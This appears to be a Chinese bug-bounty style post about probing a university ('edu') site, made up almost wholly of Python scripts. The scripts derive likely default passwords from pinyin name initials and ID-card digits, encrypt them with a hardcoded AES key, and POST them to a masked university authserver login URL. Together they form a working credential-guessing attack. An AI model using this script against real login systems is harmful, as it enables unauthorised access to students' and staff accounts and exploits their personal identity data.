记一次某edu挖洞过程

import pinyin

def getStrAllAlpha(str):    s = pinyin.get_initial(str, delimiter="").upper()    return s.lower()

def getStrFirstAlpha(str):    str = getStrAllAlpha(str)    str = str[0:1]    return str.upper()

if __name__ == '__main__':    str='陈冠希'    s = getStrAllAlpha(str)    b = getStrFirstAlpha(str)    print(s)    print(b)

import json

data = '[{"name": "陈冠希", "card": 123456},{"name": "陈冠希", "card": 123456}]'json_array = json.loads(data, strict=False)for json_obj in json_array:    Card = json_obj.get("card")    Name = json_obj.get("name")    if Card is None:        Card = ""    if Name is None:        Name = ""    print("姓名：{:<10}身份证号:{:<20}".format(Card, Name))

import jsonimport pinyin



def getStrAllAlpha(str):    s = pinyin.get_initial(str, delimiter="").upper()    return s.lower()



def getStrFirstAlpha(str):    str = getStrAllAlpha(str)    str = str[0:1]    return str.upper()



if __name__ == '__main__':    data = '[{"name": "陈冠希", "card": 123456},{"name": "陈冠希", "card": 123456}]'    json_array = json.loads(data, strict=False)    for json_obj in json_array:        Card = json_obj.get("card")        Name = json_obj.get("name")        if Card is None:            Card = ""        if Name is None: 1        Name = ""        s = getStrAllAlpha(Name)        pwd = s + str(Card)        print("姓名：{:<10}身份证号:{:<20}密码:{:<20}".format(Name, Card, pwd))

import urllibimport requestsfrom Crypto.Cipher import AESimport base64import jsonimport reimport pinyin

data = '''[{"name": "陈冠希", "card": 123456, "sfz": "123456789123456789"},{"name": "陈冠希", "card": 123456, "sfz": "123456789123456789"}]'''



def aes(data):    keyStr = "1234567890adbcde"    ivStr = "1234567890hjlkew"    key = keyStr.encode('utf-8')    iv = ivStr.encode('utf-8')    cipher = AES.new(key, AES.MODE_CBC, iv)    padded_data = data.encode('utf-8').ljust(16, b'�')    encrypted_data = cipher.encrypt(padded_data)    encoded_data = base64.b64encode(encrypted_data).decode('utf-8')    return encoded_data



def getStrAllAlpha(str):    s = pinyin.get_initial(str, delimiter="").upper()    return s.lower()



def getStrFirstAlpha(str):    str = getStrAllAlpha(str)    str = str[0:1]    return str.upper()



def requesturl(card, pwd):    url = "https://***.edu.cn/authserver/userLogin"    headers = {        "Host": "***.edu.cn",        "Accept": "*/*",        "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.53 Safari/537.36",        "X-Requested-With": "XMLHttpRequest",        "sec-ch-ua-mobile": "?0",        "Connection": "close"    }    data = 'serviceUrl=password=' + pwd + '&username=' + card + '&loginCaptcha='    try:        response = requests.post(url=url, headers=headers, data=data, timeout=40)        return response.text    except Exception as e:        return "请求失败:{}".format(url)



if __name__ == '__main__':    json_array = json.loads(data, strict=False)    for json_obj in json_array:        name = json_obj.get("name")        card = json_obj.get("card")        sfz = json_obj.get("sfz")        if name is None:            name = ""        if card is None:            card = ""        if sfz is None:            sfz = ""        s = getStrAllAlpha(name)        pwd = s + sfz[12:18]        pwd_r = aes(pwd)        pwd_res = urllib.parse.quote(pwd_r)        data = requesturl(str(card), pwd_res)        str_template = '''card:{:<10}password:{:<20}pwd_res:{:<40}res:{:<20}'''        result = str_template.format(card, pwd, pwd_res, data)        print(result)